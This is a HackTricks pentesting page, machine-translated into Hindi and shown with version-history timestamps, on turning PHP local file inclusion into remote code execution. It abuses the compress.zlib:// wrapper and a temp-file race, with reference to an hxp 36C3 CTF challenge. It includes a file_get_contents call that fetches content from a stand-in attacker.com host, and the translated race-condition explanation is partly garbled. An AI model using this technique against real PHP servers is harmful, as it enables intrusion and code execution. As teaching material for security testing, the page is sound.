hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

68 lines
8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## `compress.zlib://` और `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
फ़ाइल को `compress.zlib://` प्रोटोकॉल का उपयोग करके और फ़्लैग `PHP_STREAM_PREFER_STDIO` के साथ खोलने पर डेटा जो बाद में कनेक्शन पर आता है, उसी फ़ाइल में लिखना जारी रख सकता है।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
इसका मतलब है कि एक कॉल जैसा कि:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
2023-11-06 08:38:02 +00:00
एक अनुरोध भेजने के लिए http://attacker.com/file का अनुरोध करेंगे, फिर सर्वर संभाविततः एक मान्य HTTP प्रतिक्रिया के साथ अनुरोध का प्रतिसाद देगा, कनेक्शन खुली रखेगा, और थोड़ी देर बाद अतिरिक्त डेटा भेजेगा जो फ़ाइल में भी लिखा जाएगा।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
आप php-src के कोड के इस हिस्से में इस जानकारी को देख सकते हैं main/streams/cast.c:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2023-11-06 08:38:02 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
2023-11-06 08:38:02 +00:00
## रेस कंडीशन से आरसीई तक
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
[**इस CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) को पिछले ट्रिक का उपयोग करके हल किया गया था।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
हमलावर्ती सर्वर को एक कनेक्शन खोलने के लिए हमलावर्ती सर्वर को एक फ़ाइल पढ़ने के लिए खोलेगा जिसे हमलावर्ती सर्वर द्वारा उपयोग किया जाता है **`compress.zlib`** प्रोटोकॉल का उपयोग करके।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
**जब तक** यह **कनेक्शन** मौजूद है, हमलावर्ती सर्वर द्वारा बनाई गई टेम्प फ़ाइल के लिए पथ को बहार निकालेगा (यह सर्वर द्वारा लीक हो जाता है)।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
**जब तक** कनेक्शन **खुला है**, हमलावर्ती सर्वर द्वारा नियंत्रित टेम्प फ़ाइल को लोड करने के लिए एक LFI का शोषण करेगा।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
हालांकि, वेब सर्वर में एक चेक है जो **`<?`** शब्द सम्मिलित करने वाली फ़ाइलों को लोड करने से रोकता है। इसलिए, हमलावर्ती एक **रेस कंडीशन** का उपयोग करेगा। जो कनेक्शन अभी भी खुला है, उसमें **हमलावर्ती** वेबसर्वर द्वारा **फ़ाइल में वर्जित वर्णकों की जांच करने के बाद** लोड करने से **पहले** **एक PHP पेलोड** भेजेगा।
2022-04-21 00:07:27 +00:00
2023-11-06 08:38:02 +00:00
अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>